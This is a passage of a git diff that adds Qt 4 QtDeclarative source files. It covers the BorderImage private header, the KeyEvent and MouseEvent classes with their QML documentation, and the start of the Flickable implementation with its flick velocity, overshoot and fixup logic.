+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEBORDERIMAGE_P_H
+#define QDECLARATIVEBORDERIMAGE_P_H
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists purely as an
+// implementation detail. This header file may change from version to
+// version without notice, or even be removed.
+//
+// We mean it.
+//
+
+#include "private/qdeclarativeimagebase_p_p.h"
+#include "private/qdeclarativescalegrid_p_p.h"
+
+QT_BEGIN_NAMESPACE
+
+class QNetworkReply;
+class QDeclarativeBorderImagePrivate : public QDeclarativeImageBasePrivate
+{
+ Q_DECLARE_PUBLIC(QDeclarativeBorderImage)
+
+public:
+ QDeclarativeBorderImagePrivate()
+ : border(0), sciReply(0),
+ horizontalTileMode(QDeclarativeBorderImage::Stretch),
+ verticalTileMode(QDeclarativeBorderImage::Stretch),
+ redirectCount(0)
+ {
+ }
+
+ ~QDeclarativeBorderImagePrivate()
+ {
+ }
+
+
+ QDeclarativeScaleGrid *getScaleGrid()
+ {
+ Q_Q(QDeclarativeBorderImage);
+ if (!border) {
+ border = new QDeclarativeScaleGrid(q);
+ static int borderChangedSignalIdx = -1;
+ static int doUpdateSlotIdx = -1;
+ if (borderChangedSignalIdx < 0)
+ borderChangedSignalIdx = QDeclarativeScaleGrid::staticMetaObject.indexOfSignal("borderChanged()");
+ if (doUpdateSlotIdx < 0)
+ doUpdateSlotIdx = QDeclarativeBorderImage::staticMetaObject.indexOfSlot("doUpdate()");
+ QMetaObject::connect(border, borderChangedSignalIdx, q, doUpdateSlotIdx);
+ }
+ return border;
+ }
+
+ QDeclarativeScaleGrid *border;
+ QUrl sciurl;
+ QNetworkReply *sciReply;
+ QDeclarativeBorderImage::TileMode horizontalTileMode;
+ QDeclarativeBorderImage::TileMode verticalTileMode;
+ int redirectCount;
+};
+
+QT_END_NAMESPACE
+
+#endif // QDECLARATIVEBORDERIMAGE_P_H
diff --git a/src/declarative/graphicsitems/qdeclarativeevents.cpp b/src/declarative/graphicsitems/qdeclarativeevents.cpp
new file mode 100644
index 00000000..59f82f67
--- /dev/null
+++ b/src/declarative/graphicsitems/qdeclarativeevents.cpp
@@ -0,0 +1,237 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativeevents_p_p.h"
+
+QT_BEGIN_NAMESPACE
+/*!
+ \qmlclass KeyEvent QDeclarativeKeyEvent
+ \since 4.7
+ \ingroup qml-event-elements
+
+ \brief The KeyEvent object provides information about a key event.
+
+ For example, the following changes the Item's state property when the Enter
+ key is pressed:
+ \qml
+Item {
+ focus: true
+ Keys.onPressed: { if (event.key == Qt.Key_Enter) state = 'ShowDetails'; }
+}
+ \endqml
+*/
+
+/*!
+ \qmlproperty int KeyEvent::key
+
+ This property holds the code of the key that was pressed or released.
+
+ See \l {Qt::Key}{Qt.Key} for the list of keyboard codes. These codes are
+ independent of the underlying window system. Note that this
+ function does not distinguish between capital and non-capital
+ letters, use the text() function (returning the Unicode text the
+ key generated) for this purpose.
+
+ A value of either 0 or \l {Qt::Key_unknown}{Qt.Key_Unknown} means that the event is not
+ the result of a known key; for example, it may be the result of
+ a compose sequence, a keyboard macro, or due to key event
+ compression.
+*/
+
+/*!
+ \qmlproperty string KeyEvent::text
+
+ This property holds the Unicode text that the key generated.
+ The text returned can be an empty string in cases where modifier keys,
+ such as Shift, Control, Alt, and Meta, are being pressed or released.
+ In such cases \c key will contain a valid value
+*/
+
+/*!
+ \qmlproperty bool KeyEvent::isAutoRepeat
+
+ This property holds whether this event comes from an auto-repeating key.
+*/
+
+/*!
+ \qmlproperty int KeyEvent::count
+
+ This property holds the number of keys involved in this event. If \l KeyEvent::text
+ is not empty, this is simply the length of the string.
+*/
+
+/*!
+ \qmlproperty bool KeyEvent::accepted
+
+ Setting \a accepted to true prevents the key event from being
+ propagated to the item's parent.
+
+ Generally, if the item acts on the key event then it should be accepted
+ so that ancestor items do not also respond to the same event.
+*/
+
+/*!
+ \qmlproperty int KeyEvent::modifiers
+
+ This property holds the keyboard modifier flags that existed immediately
+ before the event occurred.
+
+ It contains a bitwise combination of:
+ \list
+ \o Qt.NoModifier - No modifier key is pressed.
+ \o Qt.ShiftModifier - A Shift key on the keyboard is pressed.
+ \o Qt.ControlModifier - A Ctrl key on the keyboard is pressed.
+ \o Qt.AltModifier - An Alt key on the keyboard is pressed.
+ \o Qt.MetaModifier - A Meta key on the keyboard is pressed.
+ \o Qt.KeypadModifier - A keypad button is pressed.
+ \endlist
+
+ For example, to react to a Shift key + Enter key combination:
+ \qml
+ Item {
+ focus: true
+ Keys.onPressed: {
+ if ((event.key == Qt.Key_Enter) && (event.modifiers & Qt.ShiftModifier))
+ doSomething();
+ }
+ }
+ \endqml
+*/
+
+
+/*!
+ \qmlclass MouseEvent QDeclarativeMouseEvent
+ \since 4.7
+ \ingroup qml-event-elements
+
+ \brief The MouseEvent object provides information about a mouse event.
+
+ The position of the mouse can be found via the \l x and \l y properties.
+ The button that caused the event is available via the \l button property.
+
+ \sa MouseArea
+*/
+
+/*!
+ \internal
+ \class QDeclarativeMouseEvent
+*/
+
+/*!
+ \qmlproperty int MouseEvent::x
+ \qmlproperty int MouseEvent::y
+
+ These properties hold the coordinates of the position supplied by the mouse event.
+*/
+
+
+/*!
+ \qmlproperty bool MouseEvent::accepted
+
+ Setting \a accepted to true prevents the mouse event from being
+ propagated to items below this item.
+
+ Generally, if the item acts on the mouse event then it should be accepted
+ so that items lower in the stacking order do not also respond to the same event.
+*/
+
+/*!
+ \qmlproperty enumeration MouseEvent::button
+
+ This property holds the button that caused the event. It can be one of:
+ \list
+ \o Qt.LeftButton
+ \o Qt.RightButton
+ \o Qt.MiddleButton
+ \endlist
+*/
+
+/*!
+ \qmlproperty bool MouseEvent::wasHeld
+
+ This property is true if the mouse button has been held pressed longer the
+ threshold (800ms).
+*/
+
+/*!
+ \qmlproperty int MouseEvent::buttons
+
+ This property holds the mouse buttons pressed when the event was generated.
+ For mouse move events, this is all buttons that are pressed down. For mouse
+ press and double click events this includes the button that caused the event.
+ For mouse release events this excludes the button that caused the event.
+
+ It contains a bitwise combination of:
+ \list
+ \o Qt.LeftButton
+ \o Qt.RightButton
+ \o Qt.MiddleButton
+ \endlist
+*/
+
+/*!
+ \qmlproperty int MouseEvent::modifiers
+
+ This property holds the keyboard modifier flags that existed immediately
+ before the event occurred.
+
+ It contains a bitwise combination of:
+ \list
+ \o Qt.NoModifier - No modifier key is pressed.
+ \o Qt.ShiftModifier - A Shift key on the keyboard is pressed.
+ \o Qt.ControlModifier - A Ctrl key on the keyboard is pressed.
+ \o Qt.AltModifier - An Alt key on the keyboard is pressed.
+ \o Qt.MetaModifier - A Meta key on the keyboard is pressed.
+ \o Qt.KeypadModifier - A keypad button is pressed.
+ \endlist
+
+ For example, to react to a Shift key + Left mouse button click:
+ \qml
+ MouseArea {
+ onClicked: {
+ if ((mouse.button == Qt.LeftButton) && (mouse.modifiers & Qt.ShiftModifier))
+ doSomething();
+ }
+ }
+ \endqml
+*/
+
+QT_END_NAMESPACE
diff --git a/src/declarative/graphicsitems/qdeclarativeevents_p_p.h b/src/declarative/graphicsitems/qdeclarativeevents_p_p.h
new file mode 100644
index 00000000..b9a2b55f
--- /dev/null
+++ b/src/declarative/graphicsitems/qdeclarativeevents_p_p.h
@@ -0,0 +1,141 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEEVENTS_P_H
+#define QDECLARATIVEEVENTS_P_H
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists purely as an
+// implementation detail. This header file may change from version to
+// version without notice, or even be removed.
+//
+// We mean it.
+//
+
+#include <qdeclarative.h>
+
+#include <QtCore/qobject.h>
+#include <QtGui/qevent.h>
+
+QT_BEGIN_NAMESPACE
+
+class QDeclarativeKeyEvent : public QObject
+{
+ Q_OBJECT
+ Q_PROPERTY(int key READ key)
+ Q_PROPERTY(QString text READ text)
+ Q_PROPERTY(int modifiers READ modifiers)
+ Q_PROPERTY(bool isAutoRepeat READ isAutoRepeat)
+ Q_PROPERTY(int count READ count)
+ Q_PROPERTY(bool accepted READ isAccepted WRITE setAccepted)
+
+public:
+ QDeclarativeKeyEvent(QEvent::Type type, int key, Qt::KeyboardModifiers modifiers, const QString &text=QString(), bool autorep=false, ushort count=1)
+ : event(type, key, modifiers, text, autorep, count) { event.setAccepted(false); }
+ QDeclarativeKeyEvent(const QKeyEvent &ke)
+ : event(ke) { event.setAccepted(false); }
+
+ int key() const { return event.key(); }
+ QString text() const { return event.text(); }
+ int modifiers() const { return event.modifiers(); }
+ bool isAutoRepeat() const { return event.isAutoRepeat(); }
+ int count() const { return event.count(); }
+
+ bool isAccepted() { return event.isAccepted(); }
+ void setAccepted(bool accepted) { event.setAccepted(accepted); }
+
+private:
+ QKeyEvent event;
+};
+
+class QDeclarativeMouseEvent : public QObject
+{
+ Q_OBJECT
+ Q_PROPERTY(int x READ x)
+ Q_PROPERTY(int y READ y)
+ Q_PROPERTY(int button READ button)
+ Q_PROPERTY(int buttons READ buttons)
+ Q_PROPERTY(int modifiers READ modifiers)
+ Q_PROPERTY(bool wasHeld READ wasHeld)
+ Q_PROPERTY(bool isClick READ isClick)
+ Q_PROPERTY(bool accepted READ isAccepted WRITE setAccepted)
+
+public:
+ QDeclarativeMouseEvent(int x, int y, Qt::MouseButton button, Qt::MouseButtons buttons, Qt::KeyboardModifiers modifiers
+ , bool isClick=false, bool wasHeld=false)
+ : _x(x), _y(y), _button(button), _buttons(buttons), _modifiers(modifiers)
+ , _wasHeld(wasHeld), _isClick(isClick), _accepted(true) {}
+
+ int x() const { return _x; }
+ int y() const { return _y; }
+ int button() const { return _button; }
+ int buttons() const { return _buttons; }
+ int modifiers() const { return _modifiers; }
+ bool wasHeld() const { return _wasHeld; }
+ bool isClick() const { return _isClick; }
+
+ // only for internal usage
+ void setX(int x) { _x = x; }
+ void setY(int y) { _y = y; }
+
+ bool isAccepted() { return _accepted; }
+ void setAccepted(bool accepted) { _accepted = accepted; }
+
+private:
+ int _x;
+ int _y;
+ Qt::MouseButton _button;
+ Qt::MouseButtons _buttons;
+ Qt::KeyboardModifiers _modifiers;
+ bool _wasHeld;
+ bool _isClick;
+ bool _accepted;
+};
+
+QT_END_NAMESPACE
+
+QML_DECLARE_TYPE(QDeclarativeKeyEvent)
+QML_DECLARE_TYPE(QDeclarativeMouseEvent)
+
+#endif // QDECLARATIVEEVENTS_P_H
diff --git a/src/declarative/graphicsitems/qdeclarativeflickable.cpp b/src/declarative/graphicsitems/qdeclarativeflickable.cpp
new file mode 100644
index 00000000..229d04bd
--- /dev/null
+++ b/src/declarative/graphicsitems/qdeclarativeflickable.cpp
@@ -0,0 +1,1805 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativeflickable_p.h"
+#include "private/qdeclarativeflickable_p_p.h"
+#include <qdeclarativeinfo.h>
+#include <QGraphicsSceneMouseEvent>
+#include <QPointer>
+#include <QTimer>
+#include "qplatformdefs.h"
+
+QT_BEGIN_NAMESPACE
+
+// The maximum number of pixels a flick can overshoot
+#ifndef QML_FLICK_OVERSHOOT
+#define QML_FLICK_OVERSHOOT 200
+#endif
+
+// The number of samples to use in calculating the velocity of a flick
+#ifndef QML_FLICK_SAMPLEBUFFER
+#define QML_FLICK_SAMPLEBUFFER 3
+#endif
+
+// The number of samples to discard when calculating the flick velocity.
+// Touch panels often produce inaccurate results as the finger is lifted.
+#ifndef QML_FLICK_DISCARDSAMPLES
+#define QML_FLICK_DISCARDSAMPLES 1
+#endif
+
+// The default maximum velocity of a flick.
+#ifndef QML_FLICK_DEFAULTMAXVELOCITY
+#define QML_FLICK_DEFAULTMAXVELOCITY 2500
+#endif
+
+// The default deceleration of a flick.
+#ifndef QML_FLICK_DEFAULTDECELERATION
+#define QML_FLICK_DEFAULTDECELERATION 1750
+#endif
+
+// How much faster to decelerate when overshooting
+#ifndef QML_FLICK_OVERSHOOTFRICTION
+#define QML_FLICK_OVERSHOOTFRICTION 8
+#endif
+
+// FlickThreshold determines how far the "mouse" must have moved
+// before we perform a flick.
+static const int FlickThreshold = 20;
+
+// RetainGrabVelocity is the maxmimum instantaneous velocity that
+// will ensure the Flickable retains the grab on consecutive flicks.
+static const int RetainGrabVelocity = 15;
+
+QDeclarativeFlickableVisibleArea::QDeclarativeFlickableVisibleArea(QDeclarativeFlickable *parent)
+ : QObject(parent), flickable(parent), m_xPosition(0.), m_widthRatio(0.)
+ , m_yPosition(0.), m_heightRatio(0.)
+{
+}
+
+qreal QDeclarativeFlickableVisibleArea::widthRatio() const
+{
+ return m_widthRatio;
+}
+
+qreal QDeclarativeFlickableVisibleArea::xPosition() const
+{
+ return m_xPosition;
+}
+
+qreal QDeclarativeFlickableVisibleArea::heightRatio() const
+{
+ return m_heightRatio;
+}
+
+qreal QDeclarativeFlickableVisibleArea::yPosition() const
+{
+ return m_yPosition;
+}
+
+void QDeclarativeFlickableVisibleArea::updateVisible()
+{
+ QDeclarativeFlickablePrivate *p = static_cast<QDeclarativeFlickablePrivate *>(QGraphicsItemPrivate::get(flickable));
+
+ bool changeX = false;
+ bool changeY = false;
+ bool changeWidth = false;
+ bool changeHeight = false;
+
+ // Vertical
+ const qreal viewheight = flickable->height();
+ const qreal maxyextent = -flickable->maxYExtent() + flickable->minYExtent();
+ qreal pagePos = (-p->vData.move.value() + flickable->minYExtent()) / (maxyextent + viewheight);
+ qreal pageSize = viewheight / (maxyextent + viewheight);
+
+ if (pageSize != m_heightRatio) {
+ m_heightRatio = pageSize;
+ changeHeight = true;
+ }
+ if (pagePos != m_yPosition) {
+ m_yPosition = pagePos;
+ changeY = true;
+ }
+
+ // Horizontal
+ const qreal viewwidth = flickable->width();
+ const qreal maxxextent = -flickable->maxXExtent() + flickable->minXExtent();
+ pagePos = (-p->hData.move.value() + flickable->minXExtent()) / (maxxextent + viewwidth);
+ pageSize = viewwidth / (maxxextent + viewwidth);
+
+ if (pageSize != m_widthRatio) {
+ m_widthRatio = pageSize;
+ changeWidth = true;
+ }
+ if (pagePos != m_xPosition) {
+ m_xPosition = pagePos;
+ changeX = true;
+ }
+
+ if (changeX)
+ emit xPositionChanged(m_xPosition);
+ if (changeY)
+ emit yPositionChanged(m_yPosition);
+ if (changeWidth)
+ emit widthRatioChanged(m_widthRatio);
+ if (changeHeight)
+ emit heightRatioChanged(m_heightRatio);
+}
+
+
+QDeclarativeFlickablePrivate::QDeclarativeFlickablePrivate()
+ : contentItem(new QDeclarativeItem)
+ , hData(this, &QDeclarativeFlickablePrivate::setRoundedViewportX)
+ , vData(this, &QDeclarativeFlickablePrivate::setRoundedViewportY)
+ , hMoved(false), vMoved(false)
+ , stealMouse(false), pressed(false), interactive(true), calcVelocity(false)
+ , deceleration(QML_FLICK_DEFAULTDECELERATION)
+ , maxVelocity(QML_FLICK_DEFAULTMAXVELOCITY), reportedVelocitySmoothing(100)
+ , delayedPressEvent(0), delayedPressTarget(0), pressDelay(0), fixupDuration(400)
+ , fixupMode(Normal), vTime(0), visibleArea(0)
+ , flickableDirection(QDeclarativeFlickable::AutoFlickDirection)
+ , boundsBehavior(QDeclarativeFlickable::DragAndOvershootBounds)
+{
+}
+
+void QDeclarativeFlickablePrivate::init()
+{
+ Q_Q(QDeclarativeFlickable);
+ QDeclarative_setParent_noEvent(contentItem, q);
+ contentItem->setParentItem(q);
+ static int timelineUpdatedIdx = -1;
+ static int timelineCompletedIdx = -1;
+ static int flickableTickedIdx = -1;
+ static int flickableMovementEndingIdx = -1;
+ if (timelineUpdatedIdx == -1) {
+ timelineUpdatedIdx = QDeclarativeTimeLine::staticMetaObject.indexOfSignal("updated()");
+ timelineCompletedIdx = QDeclarativeTimeLine::staticMetaObject.indexOfSignal("completed()");
+ flickableTickedIdx = QDeclarativeFlickable::staticMetaObject.indexOfSlot("ticked()");
+ flickableMovementEndingIdx = QDeclarativeFlickable::staticMetaObject.indexOfSlot("movementEnding()");
+ }
+ QMetaObject::connect(&timeline, timelineUpdatedIdx,
+ q, flickableTickedIdx, Qt::DirectConnection);
+ QMetaObject::connect(&timeline, timelineCompletedIdx,
+ q, flickableMovementEndingIdx, Qt::DirectConnection);
+ q->setAcceptedMouseButtons(Qt::LeftButton);
+ q->setFiltersChildEvents(true);
+ QDeclarativeItemPrivate *viewportPrivate = static_cast<QDeclarativeItemPrivate*>(QGraphicsItemPrivate::get(contentItem));
+ viewportPrivate->addItemChangeListener(this, QDeclarativeItemPrivate::Geometry);
+ lastPosTime.invalidate();
+}
+
+/*
+ Returns the amount to overshoot by given a view size.
+ Will be up to the lesser of 1/3 of the view size or QML_FLICK_OVERSHOOT
+*/
+qreal QDeclarativeFlickablePrivate::overShootDistance(qreal size)
+{
+ if (maxVelocity <= 0)
+ return 0.0;
+
+ return qMin(qreal(QML_FLICK_OVERSHOOT), size/3);
+}
+
+void QDeclarativeFlickablePrivate::AxisData::addVelocitySample(qreal v, qreal maxVelocity)
+{
+ if (v > maxVelocity)
+ v = maxVelocity;
+ else if (v < -maxVelocity)
+ v = -maxVelocity;
+ velocityBuffer.append(v);
+ if (velocityBuffer.count() > QML_FLICK_SAMPLEBUFFER)
+ velocityBuffer.remove(0);
+}
+
+void QDeclarativeFlickablePrivate::AxisData::updateVelocity()
+{
+ velocity = 0;
+ if (velocityBuffer.count() > QML_FLICK_DISCARDSAMPLES) {
+ int count = velocityBuffer.count()-QML_FLICK_DISCARDSAMPLES;
+ for (int i = 0; i < count; ++i) {
+ qreal v = velocityBuffer.at(i);
+ velocity += v;
+ }
+ velocity /= count;
+ }
+}
+
+void QDeclarativeFlickablePrivate::itemGeometryChanged(QDeclarativeItem *item, const QRectF &newGeom, const QRectF &oldGeom)
+{
+ Q_Q(QDeclarativeFlickable);
+ if (item == contentItem) {
+ if (newGeom.x() != oldGeom.x())
+ emit q->contentXChanged();
+ if (newGeom.y() != oldGeom.y())
+ emit q->contentYChanged();
+ }
+}
+
+void QDeclarativeFlickablePrivate::flickX(qreal velocity)
+{
+ Q_Q(QDeclarativeFlickable);
+ flick(hData, q->minXExtent(), q->maxXExtent(), q->width(), fixupX_callback, velocity);
+}
+
+void QDeclarativeFlickablePrivate::flickY(qreal velocity)
+{
+ Q_Q(QDeclarativeFlickable);
+ flick(vData, q->minYExtent(), q->maxYExtent(), q->height(), fixupY_callback, velocity);
+}
+
+void QDeclarativeFlickablePrivate::flick(AxisData &data, qreal minExtent, qreal maxExtent, qreal,
+ QDeclarativeTimeLineCallback::Callback fixupCallback, qreal velocity)
+{
+ Q_Q(QDeclarativeFlickable);
+ qreal maxDistance = -1;
+ data.fixingUp = false;
+ // -ve velocity means list is moving up
+ if (velocity > 0) {
+ maxDistance = qAbs(minExtent - data.move.value());
+ data.flickTarget = minExtent;
+ } else {
+ maxDistance = qAbs(maxExtent - data.move.value());
+ data.flickTarget = maxExtent;
+ }
+ if (maxDistance > 0) {
+ qreal v = velocity;
+ if (maxVelocity != -1 && maxVelocity < qAbs(v)) {
+ if (v < 0)
+ v = -maxVelocity;
+ else
+ v = maxVelocity;
+ }
+ timeline.reset(data.move);
+ if (boundsBehavior == QDeclarativeFlickable::DragAndOvershootBounds)
+ timeline.accel(data.move, v, deceleration);
+ else
+ timeline.accel(data.move, v, deceleration, maxDistance);
+ timeline.callback(QDeclarativeTimeLineCallback(&data.move, fixupCallback, this));
+ if (!hData.flicking && q->xflick()) {
+ hData.flicking = true;
+ emit q->flickingChanged();
+ emit q->flickingHorizontallyChanged();
+ if (!vData.flicking)
+ emit q->flickStarted();
+ }
+ if (!vData.flicking && q->yflick()) {
+ vData.flicking = true;
+ emit q->flickingChanged();
+ emit q->flickingVerticallyChanged();
+ if (!hData.flicking)
+ emit q->flickStarted();
+ }
+ } else {
+ timeline.reset(data.move);
+ fixup(data, minExtent, maxExtent);
+ }
+}
+
+void QDeclarativeFlickablePrivate::fixupY_callback(void *data)
+{
+ ((QDeclarativeFlickablePrivate *)data)->fixupY();
+}
+
+void QDeclarativeFlickablePrivate::fixupX_callback(void *data)
+{
+ ((QDeclarativeFlickablePrivate *)data)->fixupX();
+}
+
+void QDeclarativeFlickablePrivate::fixupX()
+{
+ Q_Q(QDeclarativeFlickable);
+ fixup(hData, q->minXExtent(), q->maxXExtent());
+}
+
+void QDeclarativeFlickablePrivate::fixupY()
+{
+ Q_Q(QDeclarativeFlickable);
+ fixup(vData, q->minYExtent(), q->maxYExtent());
+}
+
+void QDeclarativeFlickablePrivate::fixup(AxisData &data, qreal minExtent, qreal maxExtent)
+{
+ if (data.move.value() > minExtent || maxExtent > minExtent) {
+ timeline.reset(data.move);
+ if (data.move.value() != minExtent) {
+ switch (fixupMode) {
+ case Immediate:
+ timeline.set(data.move, minExtent);
+ break;
+ case ExtentChanged:
+ // The target has changed. Don't start from the beginning; just complete the
+ // second half of the animation using the new extent.
+ timeline.move(data.move, minExtent, QEasingCurve(QEasingCurve::OutExpo), 3*fixupDuration/4);
+ data.fixingUp = true;
+ break;
+ default: {
+ qreal dist = minExtent - data.move;
+ timeline.move(data.move, minExtent - dist/2, QEasingCurve(QEasingCurve::InQuad), fixupDuration/4);
+ timeline.move(data.move, minExtent, QEasingCurve(QEasingCurve::OutExpo), 3*fixupDuration/4);
+ data.fixingUp = true;
+ }
+ }
+ }
+ } else if (data.move.value() < maxExtent) {
+ timeline.reset(data.move);
+ switch (fixupMode) {
+ case Immediate:
+ timeline.set(data.move, maxExtent);
+ break;
+ case ExtentChanged:
+ // The target has changed. Don't start from the beginning; just complete the
+ // second half of the animation using the new extent.
+ timeline.move(data.move, maxExtent, QEasingCurve(QEasingCurve::OutExpo), 3*fixupDuration/4);
+ data.fixingUp = true;
+ break;
+ default: {
+ qreal dist = maxExtent - data.move;
+ timeline.move(data.move, maxExtent - dist/2, QEasingCurve(QEasingCurve::InQuad), fixupDuration/4);
+ timeline.move(data.move, maxExtent, QEasingCurve(QEasingCurve::OutExpo), 3*fixupDuration/4);
+ data.fixingUp = true;
+ }
+ }
+ }
+ data.inOvershoot = false;
+ fixupMode = Normal;
+ vTime = timeline.time();
+}
+
+void QDeclarativeFlickablePrivate::updateBeginningEnd()
+{
+ Q_Q(QDeclarativeFlickable);
+ bool atBoundaryChange = false;
+
+ // Vertical
+ const int maxyextent = int(-q->maxYExtent());
+ const qreal ypos = -vData.move.value();
+ bool atBeginning = (ypos <= -q->minYExtent());
+ bool atEnd = (maxyextent <= ypos);
+
+ if (atBeginning != vData.atBeginning) {
+ vData.atBeginning = atBeginning;
+ atBoundaryChange = true;
+ }
+ if (atEnd != vData.atEnd) {
+ vData.atEnd = atEnd;
+ atBoundaryChange = true;
+ }
+
+ // Horizontal
+ const int maxxextent = int(-q->maxXExtent());
+ const qreal xpos = -hData.move.value();
+ atBeginning = (xpos <= -q->minXExtent());
+ atEnd = (maxxextent <= xpos);
+
+ if (atBeginning != hData.atBeginning) {
+ hData.atBeginning = atBeginning;
+ atBoundaryChange = true;
+ }
+ if (atEnd != hData.atEnd) {
+ hData.atEnd = atEnd;
+ atBoundaryChange = true;
+ }
+
+ if (atBoundaryChange)
+ emit q->isAtBoundaryChanged();
+
+ if (visibleArea)
+ visibleArea->updateVisible();
+}
+
+/*!
+ \qmlclass Flickable QDeclarativeFlickable
+ \since 4.7
+ \ingroup qml-basic-interaction-elements
+
+ \brief The Flickable item provides a surface that can be "flicked".
+ \inherits Item
+
+ The Flickable item places its children on a surface that can be dragged
+ and flicked, causing the view onto the child items to scroll. This
+ behavior forms the basis of Items that are designed to show large numbers
+ of child items, such as \l ListView and \l GridView.
+
+ In traditional user interfaces, views can be scrolled using standard
+ controls, such as scroll bars and arrow buttons. In some situations, it
+ is also possible to drag the view directly by pressing and holding a
+ mouse button while moving the cursor. In touch-based user interfaces,
+ this dragging action is often complemented with a flicking action, where
+ scrolling continues after the user has stopped touching the view.
+
+ Flickable does not automatically clip its contents. If it is not used as
+ a full-screen item, you should consider setting the \l{Item::}{clip} property
+ to true.
+
+ \section1 Example Usage
+
+ \div {class="float-right"}
+ \inlineimage flickable.gif
+ \enddiv
+
+ The following example shows a small view onto a large image in which the
+ user can drag or flick the image in order to view different parts of it.
+
+ \snippet doc/src/snippets/declarative/flickable.qml document
+
+ \clearfloat
+
+ Items declared as children of a Flickable are automatically parented to the
+ Flickable's \l contentItem. This should be taken into account when
+ operating on the children of the Flickable; it is usually the children of
+ \c contentItem that are relevant. For example, the bound of Items added
+ to the Flickable will be available by \c contentItem.childrenRect
+
+ \section1 Limitations
+
+ \note Due to an implementation detail, items placed inside a Flickable cannot anchor to it by
+ \c id. Use \c parent instead.
+*/
+
+/*!
+ \qmlsignal Flickable::onMovementStarted()
+
+ This handler is called when the view begins moving due to user
+ interaction.
+*/
+
+/*!
+ \qmlsignal Flickable::onMovementEnded()
+
+ This handler is called when the view stops moving due to user
+ interaction. If a flick was generated, this handler will
+ be triggered once the flick stops. If a flick was not
+ generated, the handler will be triggered when the
+ user stops dragging - i.e. a mouse or touch release.
+*/
+
+/*!
+ \qmlsignal Flickable::onFlickStarted()
+
+ This handler is called when the view is flicked. A flick
+ starts from the point that the mouse or touch is released,
+ while still in motion.
+*/
+
+/*!
+ \qmlsignal Flickable::onFlickEnded()
+
+ This handler is called when the view stops moving due to a flick.
+*/
+
+/*!
+ \qmlproperty real Flickable::visibleArea.xPosition
+ \qmlproperty real Flickable::visibleArea.widthRatio
+ \qmlproperty real Flickable::visibleArea.yPosition
+ \qmlproperty real Flickable::visibleArea.heightRatio
+
+ These properties describe the position and size of the currently viewed area.
+ The size is defined as the percentage of the full view currently visible,
+ scaled to 0.0 - 1.0. The page position is usually in the range 0.0 (beginning) to
+ 1.0 minus size ratio (end), i.e. \c yPosition is in the range 0.0 to 1.0-\c heightRatio.
+ However, it is possible for the contents to be dragged outside of the normal
+ range, resulting in the page positions also being outside the normal range.
+
+ These properties are typically used to draw a scrollbar. For example:
+
